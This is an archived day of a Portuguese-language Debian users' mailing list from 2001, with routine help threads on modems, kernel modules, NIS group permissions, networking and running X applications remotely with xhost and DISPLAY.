GnuPg key available (Key ID: 0x47C0A6AF) 
Porto Alegre/RS - Terra de Software Livre
http://debian-rs.sourceforge.net



Re: pctel no 2.4.x

2001-09-25 Por tôpico Christiano Anderson
Olah,

crashx wrote:
 
 iai povo !
 ola soh, eu sei que o meu maravilhoso modem pctel hsp56 funfa no kernel 
 2.4.0, quero saber se alguem usa ele em um kernel acima desse, no 2.2.19 ele 
 ta uma maravilha... :)
 eh pq to afim de atualuzar o kernel mesmo q num posso fikar sem modem neh...
 
 thanx 4 ALL !

Na pagina do nosso amigo Kov tem um tutorial sobre PCTEL para kernel
2.4.X

Da uma olhada em: http://macan.colband.com.br/kov

[]s

Christiano

-- 
Christiano Anderson (Dump)
GnuPg key available (Key ID: 0x47C0A6AF) 
Porto Alegre/RS - Terra de Software Livre
http://debian-rs.sourceforge.net



email formato HTML ( ERA: Modulo de placa de rede )

2001-09-25 Por tôpico Fabio L. F. Campos

Acabo de perde minha mailbox, o Norton simplesmente deletou tudo por ter
recebido virus de algum assinante. :(
Espero conseguir baixar a copia das minhas mensagens em casa, usando o
fetchmail. 
Galera, vamos enviar so email no formato .txt, por favor!

[]´s

PS: Eu nao uso Outlook! :)

At 14:18 25/09/01 -0300, Gustavo Noronha Silva wrote:
Em Tue, 25 Sep 2001 17:04:43 +0100
António Ferreira [EMAIL PROTECTED] escreveu:

 HelpOlá
^

hmm... se não me engano isso é causado por um vírus =)

também, por favor não envie mensagens em html para a lista, estatística:
sua mensagem em texto não chega a 500 bytes, a em html tem mais de 12 kbytes
e *ainda por cima* vem com um vírusinho muito delicadinho:




Re: backspace remoto nao funfa

2001-09-25 Por tôpico paulo henrique castro
nao eh exatamente uma solucao, mas quebra o galho:

crtl + backspace

ou

shift + backspace

valeu!

[]s

   estou usando um debian 2.2r3 com teclado abnt2 (uma [EMAIL PROTECTED])
   O xterm local funciona perfeitamente, mas quando dou telnet
 para uma outra maquina (conectiva :P) atraves dele, o backspace se
 comporta como o delete!!

-- 

  .''`.  paulo henrique castro
 : :'  : [EMAIL PROTECTED]
 `. `'`  
   `-



modprobe todas as vezes q reinicio

2001-09-25 Por tôpico Dany
Oi Lista,

Eu pedi ajuda porque ao fazer modprobe ppa ou imm, recebia um erro. O meu
objectivo era configurar a zip drive e finalmente consegui.

O segredo estava num simples pormenor que não me tinha passado pela cabeça
antes, e que foi tiro e queda e pode vir a ser útil a alguém.

Eu estava a fazer 1001 coisas para a zip 100 paralela funcionar, mas na bios
tinha a porta paralela configurada como ECP + EPP em vez de EPP. Para a Zip
100 funcionar no Linux bastou por a opção On Board paralel port como EPP.

Agora o problema é que de cada vez que inicio o Linux tenho de fazer
modprobe ppa para a zip funcionar.
O que eu devo fazer para que não tenha de fazer isto de todas as vezes que
inicio o Linux. Já tentei insmod ppa, mas continuo a ter de repetir a mesma
tarefa todas as vezes que reinicio o Linux.



Re: problema com o WvDIAL

2001-09-25 Por tôpico Raphael Derosso Pereira - DephiNit
On Sunday 23 September 2001 13:51, Hélio Perroni Filho wrote:
  Alguém poderia dar uma breve explicação prética sobre o bit de suid
  ativo?

 Leia a documentação do comando chmod (digite man chmod no prompt de
 comando) para saber mais sobre isso.

Lá não está nada claro o significado do bit de suid...

Nem mesmo na documentação info esta informação está intuitiva...

Eu mesmo não entendo direito isto até hoje...

-- 
 Raphael Derosso Pereira - DephiNit

 *-=-*-=--=-*-=-*-=--=*=-*
/ [EMAIL PROTECTED] /
   *-=-*-=--=-*-=-*-=--=*=-*

 -=*=--=*=--=*=--=*=--=*=--=*=--=*=-
|  Debian GNU/Linux Addicted User   |
|  Use it, Abuse it. It's Free!!!   |
 -=*=--=*=--=*=--=*=--=*=--=*=--=*=-



Re: [OFF-TOPIC] Línguas (era: Re: Linguagem de progra macao)

2001-09-25 Por tôpico synthespian
On Tue, Sep 25, 2001 at 09:19:19AM -0300, Leandro Guimarães Faria Corsetti 
Dutra wrote:
 [EMAIL PROTECTED] wrote:
 
  On Tue, Sep 25, 2001 at 12:19:19AM -0300, Leandro Guimarães Faria Corsetti 
  Dutra wrote:
  
 Antes de aprender outras, a nossa.  Em Português desenha-se uma figura  
  com 
 lápis, caneta, etc sobre papel, tecido, etc.  Você quis dizer 
 __projetadas__, 
 que é a tradução correta de designed.  A tradução de desenhada é 
 drawn.
 
Evidentemente, você é pedante. :)
 
 
   Argumento ad hominem desqualifica o argumentador.
 
 
 
 
 
Não vamos comentar sua pontuação, que é ruim.
 
 
   Legal, fala que é ruim e não demonstra.  Impugnação por tabela -- 
 esqueci o 
 nome correto -- também desqualifica o impugnante.


Ok, eu sou um desqualificado...! :-))
De qualquer maneira, pessoal, eu me diverti pampas com esse nosso
bate-papo O-T !

[ ]s a todos
henry
[EMAIL PROTECTED]




Duvida sobre IPMASQ

2001-09-25 Por tôpico Otavio Real Salvador
Amigos,

Aqui estou eu novamente, coloquei o ipmasq e tudo correu bem. Jah
consigui colocar o DHCP e tudo funciona mas ainda tenho uma
duvida: Para conseguir fazer com que eu nao precise adicionar um
nameserver no cliente, precisei adicionar o bind no servidor mas eu
queria utilizar o nameserver do meu provedor e nao local. Tem como?

[]s
Otavio

-- 
 ___
| |-|- _. _  |_  _ |_  _| _  _ 
|_| |_(_|\_/|(_) __|(_||\_/(_|(_|(_)|
-
 E-mail: [EMAIL PROTECTED]  UIN: 5906116
-

 



Configurar rede no debian

2001-09-25 Por tôpico Marcio China

Colegas,

Para que eu tenha minha total produtividade restaurada, apos a migracao do 
slack para o debian, so falta colocar a rede para funcionar.

Meu notebook ja esta com o pcmcia funcionando, e o modem ja cessa a internet 
e a nossa rede remotamente. Mas quando estou dentro de algum orgao da 
prefeitura, de onde posso fazer acessos de qualquer ponto de rede usando a 
placa de rede pcmcia, ainda nao consegui fazer funcionar.

Apesar de nao gostar, usei o linuxconf para uma tentativa de configuracao, 
mas nao deu certo.

Ja setei o host name e o IP, mas estou empacado, eu acho, na placa de rede 
pcmcia. Todos os testes que se pode fazer com a placa dao resultado positivo, 
indicando que ela esta funcionando, mas na hora de plugar no hub, nada 
funciona, nao acha ninguem, nao pinga nem whiska!

Alguem me da uma dica???



[no subject]

2001-09-25 Por tôpico Antonio Alberto Lobato
 
antonio a lobato 54275
e-mail: [EMAIL PROTECTED]




floppies, cdrom e NIS

2001-09-25 Por tôpico Thadeu Penna
Tenho uma rede com 150 usuários (NIS) e 20 máquinas. Como permitir o
acesso a todos os floppies e cdroms por todos os usuários. Me recuso a
entrar um por um e rodar o addgroup :(

Vejo duas opções

1) chmod a+rw /dev/fd0
toda vez que der boot (onde o debian modifica estas permissões a cada
boot??)

2) inserir os quatro groups que tenho nos grupos floppy e cdrom e exportar
pelo NIS (não sei como adicionar grupos a grupos)..



 ___  _ .''`.
  | |_  _. _| _  |_) _ ._ ._  _.   : :'  :
  | | |(_|(_|(/_|_|  |  (/_| || |(_|   `. `'`
Linux User #50500`-
Prof.Adjunto - Instituto de Física   Debian-
Universidade Federal Fluminense  Alpha/K6/K7



Re: modprobe todas as vezes q reinicio

2001-09-25 Por tôpico Paulo Rogerio Ormenese
Insira uma linha no arquivo /etc/modules com o seguinte texto:

ppa






Re: floppies, cdrom e NIS

2001-09-25 Por tôpico Paulo Henrique Baptista de Oliveira

Testa colocar na mao no servidor no /etc/group os 150 usuarios nos
grupos disk e floppy.
Ficaria assim:
floppy:x:25:baptista,tjpp,

Em Tue, 25 Sep 2001 20:09:06 -0300 (BRT), Thadeu Penna
[EMAIL PROTECTED] escreveu:

 Tenho uma rede com 150 usuários (NIS) e 20 máquinas. Como permitir o
 acesso a todos os floppies e cdroms por todos os usuários. Me recuso
 a
 entrar um por um e rodar o addgroup :(
 
 Vejo duas opções
 
 1) chmod a+rw /dev/fd0
 toda vez que der boot (onde o debian modifica estas permissões a
 cada
 boot??)
 
 2) inserir os quatro groups que tenho nos grupos floppy e cdrom e
 exportar
 pelo NIS (não sei como adicionar grupos a grupos)..
 
 
 
  ___  _ .''`.
   | |_  _. _| _  |_) _ ._ ._  _.   : :'  :
   | | |(_|(_|(/_|_|  |  (/_| || |(_|   `. `'`
 Linux User #50500`-
 Prof.Adjunto - Instituto de Física   Debian-
 Universidade Federal Fluminense  Alpha/K6/K7
 
 
 -- 
 To UNSUBSCRIBE, email to
 [EMAIL PROTECTED]
 with a subject of unsubscribe. Trouble? Contact
 [EMAIL PROTECTED]
 
 


-- 
Paulo Henrique B de Oliveira
Gerente de Operações - Linux Solutions -
http://www.linuxsolutions.com.br
O maior conteúdo de Linux em língua portuguesa - OLinux -
http://www.olinux.com.br
(21) 2526-7262 ramal 31



Re: X remoto

2001-09-25 Por tôpico Odair G Martins
Bom/boa   dia/tarde/noite

Agora sim, a coisa funciona ... agradeço ao Pedro Zorzenon, 
ao KOV e ao Rafael.  Para que fique arquivado na memória da lista 
vou tentar fazer o sumário de como a coisa foi resolvida:

(1) Pelas salas de cá algumas máquinas com Debian não ofereciam o
serviço X para ser possível rodar um programa gráfico
remotamente com a  dupla:

Na máquina local:xhost   nome.domínio_da_máquina_remota  
por exemplo:  $ xhost  bush.if.usp.br  

Na máquina  remota, em BASH, depois de abrir uma sessão ssh: 
 export DISPLAY=nome_máquina_local:d.t
por exemplo:  $ export DISPLAY=binladen.if.usp.br:0.0

onde d.t significa o número do display e t o número da tela. Em geral
o display que voce acessa com Ctrl-Alt-F7 é o display 0 (zero) ,
com Ctrl-Alt-F8 é o display 1 (um) e assim em frente -  o XFree 
possibilita várias sessões concorrentes. Voce pode iniciar uma sessão X 
no display dois com startx -- :2ou então uma sessão X crua com 
xinit -- :2  por exemplo, e voce pode acessar o display 2 com 
Ctrl-Alt-F9.

 No exemplo  bush/binladen  acima, um programa X rodando em bush 
 tem sua interface gráfica disponível na máquina local binladen para o 
usuário que abriu a sessão ssh.

O usuário pode visualizar  um programa gráfico rodando em uma 
máquina remota pois a sua máquina local passa ser 
a servidora de serviços gráficos para o programa remoto. A variável
DISPLAY indica para onde o programa deve canalizar as suas
necessidades gráficas (tela,mouse,teclado).
Outra maneira de fazer a coisa é utilizar a opçao -display 
em um program X remoto, por exemplo:

$xedit -display  binladen.if.usp.br:0.0  

Para não ocorrer permissividade,
a máquina remota deve ser primeiramente acrescentada na lista de
permissão de acesso do servidor X local  com o programa xhost. 

(2)No meu caso,  as máquinas sem X que não funcionavam
remotamente  possuem  KDM instaladado  - o gerenciador de login gráfico 
do KDE.  Na maioria das distribuições o serviço X remoto fica 
habilitdado como padrão. Se não me engano na distribuição Debian no 
momento da instalação do pacote xdm ou kdm um script instalador
pergunta ao gerente se é para deixar habilitado o serviço X  na rede. 
Se  o gerente escolher para não habilitar,  os usuários da máquina não
poderão rodar programas gráficos que estão em outras máquinas X. 

(3) No caso de máquina Potato com KDM 2.2.1 instalado,
o XFree pode ser reabilitado para trabalhar em rede (via tcp) com a 
retirada  da opção:
-nolisten tcp 
em linhas do  arquivo/etc/X11/kdm/Xservers

No meu caso foi suficiente. 

Para descobrir que era em /etc/X11/kdm/Xservers
eu segui a sugestão do Kov - voce pode verificar  
em que arquivo de configuração estão  os
 -nolisten tcp 
com:
rgrep -i listen /etc/X11
 


 e segundo o Rafael: 

Edite o arquivo /etc/X11/xinit/xserverrc 
e remova a opção -nolistentcp,
caso vc não esteja usando nenhum display manager como o xdm, kdm e 
gdm.

como sugerido inicialmente pelo Pedro Zorzenon. 

Esperando que as informações acima sejam úteis  para
a enorme quantidade de futuros novos usuários Debian 
que irão garimpar a lista,   subscrevo,
sem garantir que todas as informaçoes acima
estejam totalmente corretas.


Odair 

 

  




Re: X remoto

2001-09-25 Por tôpico Odair G Martins
Bom/boa   dia/tarde/noite

Agora sim, a coisa funciona ... agradeço ao Pedro Zorzenon, 
ao KOV e ao Rafael.  Para que fique arquivado na memória da lista 
vou tentar fazer o sumário de como a coisa foi resolvida:

(1) Pelas salas de cá algumas máquinas com Debian não ofereciam o
serviço X para ser possível rodar um programa gráfico
remotamente com a  dupla:

Na máquina local:xhost   nome.domínio_da_máquina_remota  
por exemplo:  $ xhost  bush.if.usp.br  

Na máquina  remota, em BASH, depois de abrir uma sessão ssh: 
 export DISPLAY=nome_máquina_local:d.t
por exemplo:  $ export DISPLAY=binladen.if.usp.br:0.0

onde d.t significa o número do display e t o número da tela. Em geral
o display que voce acessa com Ctrl-Alt-F7 é o display 0 (zero) ,
com Ctrl-Alt-F8 é o display 1 (um) e assim em frente -  o XFree 
possibilita várias sessões concorrentes. Voce pode iniciar uma sessão X 
no display dois com startx -- :2ou então uma sessão X crua com 
xinit -- :2  por exemplo, e voce pode acessar o display 2 com 
Ctrl-Alt-F9.

 No exemplo  bush/binladen  acima, um programa X rodando em bush 
 tem sua interface gráfica disponível na máquina local binladen para o 
usuário que abriu a sessão ssh.

O usuário pode visualizar  um programa gráfico rodando em uma 
máquina remota pois a sua máquina local passa ser 
a servidora de serviços gráficos para o programa remoto. A variável
DISPLAY indica para onde o programa deve canalizar as suas
necessidades gráficas (tela,mouse,teclado).
Outra maneira de fazer a coisa é utilizar a opçao -display 
em um program X remoto, por exemplo:

$xedit -display  binladen.if.usp.br:0.0  

Para não ocorrer permissividade,
a máquina remota deve ser primeiramente acrescentada na lista de
permissão de acesso do servidor X local  com o programa xhost. 

(2)No meu caso,  as máquinas sem X que não funcionavam
remotamente  possuem  KDM instaladado  - o gerenciador de login gráfico 
do KDE.  Na maioria das distribuições o serviço X remoto fica 
habilitdado como padrão. Se não me engano na distribuição Debian no 
momento da instalação do pacote xdm ou kdm um script instalador
pergunta ao gerente se é para deixar habilitado o serviço X  na rede. 
Se  o gerente escolher para não habilitar,  os usuários da máquina não
poderão rodar programas gráficos que estão em outras máquinas X. 

(3) No caso de máquina Potato com KDM 2.2.1 instalado,
o XFree pode ser reabilitado para trabalhar em rede (via tcp) com a 
retirada  da opção:
-nolisten tcp 
em linhas do  arquivo/etc/X11/kdm/Xservers

No meu caso foi suficiente. 

Para descobrir que era em /etc/X11/kdm/Xservers
eu segui a sugestão do Kov - voce pode verificar  
em que arquivo de configuração estão  os
 -nolisten tcp 
com:
rgrep -i listen /etc/X11
 


 e segundo o Rafael: 

Edite o arquivo /etc/X11/xinit/xserverrc 
e remova a opção -nolistentcp,
caso vc não esteja usando nenhum display manager como o xdm, kdm e 
gdm.

como sugerido inicialmente pelo Pedro Zorzenon. 

Esperando que as informações acima sejam úteis  para
a enorme quantidade de futuros novos usuários Debian 
que irão garimpar a lista,   subscrevo,
sem garantir que todas as informaçoes acima
estejam totalmente corretas.


Odair 

 

  




Re: modprobe todas as vezes q reinicio

2001-09-25 Por tôpico Gustavo Noronha Silva
Em Tue, 25 Sep 2001 21:49:33 +0100
Dany [EMAIL PROTECTED] escreveu:

 Agora o problema é que de cada vez que inicio o Linux tenho de fazer
 modprobe ppa para a zip funcionar.
 O que eu devo fazer para que não tenha de fazer isto de todas as vezes que
 inicio o Linux. Já tentei insmod ppa, mas continuo a ter de repetir a mesma
 tarefa todas as vezes que reinicio o Linux.
veja o guia prático para o debian gnu/linux, no site do debian-br...

[]s!

-- 
Gustavo Noronha Silva - kov http://www.metainfo.org/kov
**
|  .''`.  | Debian GNU/Linux: http://www.debian.org|
| : :'  : | Debian BR...: http://debian-br.sourceforge.net |
| `. `'`  |  Be Happy! Be FREE!  |
|   `-| Think globally, act locally!   |
**



Re: X remoto

2001-09-25 Por tôpico Gustavo Noronha Silva
Em Tue, 25 Sep 2001 21:54:56 -0300
Odair G Martins [EMAIL PROTECTED] escreveu:

parabéns pela iniciativa... o que acaba de acontecer me lembra muito
o propósito da dl-fórum, que morreu porque ninguém foi capaz de seguir
o mesmo...

 a enorme quantidade de futuros novos usuários Debian 
 que irão garimpar a lista,   subscrevo,
infelizmente duvido muito da afirmativa acima... mas espero que ela
venha a se tornar real algum dia...

[]s!

-- 
Gustavo Noronha Silva - kov http://www.metainfo.org/kov
**
|  .''`.  | Debian GNU/Linux: http://www.debian.org|
| : :'  : | Debian BR...: http://debian-br.sourceforge.net |
| `. `'`  |  Be Happy! Be FREE!  |
|   `-| Think globally, act locally!   |
**



Re: Configurar rede no debian

2001-09-25 Por tôpico Gustavo Noronha Silva
Em Tue, 25 Sep 2001 19:27:21 -0300
Marcio China [EMAIL PROTECTED] escreveu:

 Ja setei o host name e o IP, mas estou empacado, eu acho, na placa de rede 
 pcmcia. Todos os testes que se pode fazer com a placa dao resultado positivo, 
 indicando que ela esta funcionando, mas na hora de plugar no hub, nada 
 funciona, nao acha ninguem, nao pinga nem whiska!
 
 Alguem me da uma dica???

ifconfig, route -n ??? 

[]s!

-- 
Gustavo Noronha Silva - kov http://www.metainfo.org/kov
**
|  .''`.  | Debian GNU/Linux: http://www.debian.org|
| : :'  : | Debian BR...: http://debian-br.sourceforge.net |
| `. `'`  |  Be Happy! Be FREE!  |
|   `-| Think globally, act locally!   |
**



Re: email formato HTML ( ERA: Modulo de placa de rede )

2001-09-25 Por tôpico Gustavo Noronha Silva
Em Tue, 25 Sep 2001 16:51:26 -0300
Fabio L. F. Campos [EMAIL PROTECTED] escreveu:

 
 Acabo de perde minha mailbox, o Norton simplesmente deletou tudo por ter
 recebido virus de algum assinante. :(
 Espero conseguir baixar a copia das minhas mensagens em casa, usando o
 fetchmail. 
 Galera, vamos enviar so email no formato .txt, por favor!
/me começa a achar ridícula a situação vivida numa lista sobre o Debian =(

[]s!

-- 
Gustavo Noronha Silva - kov http://www.metainfo.org/kov
**
|  .''`.  | Debian GNU/Linux: http://www.debian.org|
| : :'  : | Debian BR...: http://debian-br.sourceforge.net |
| `. `'`  |  Be Happy! Be FREE!  |
|   `-| Think globally, act locally!   |
**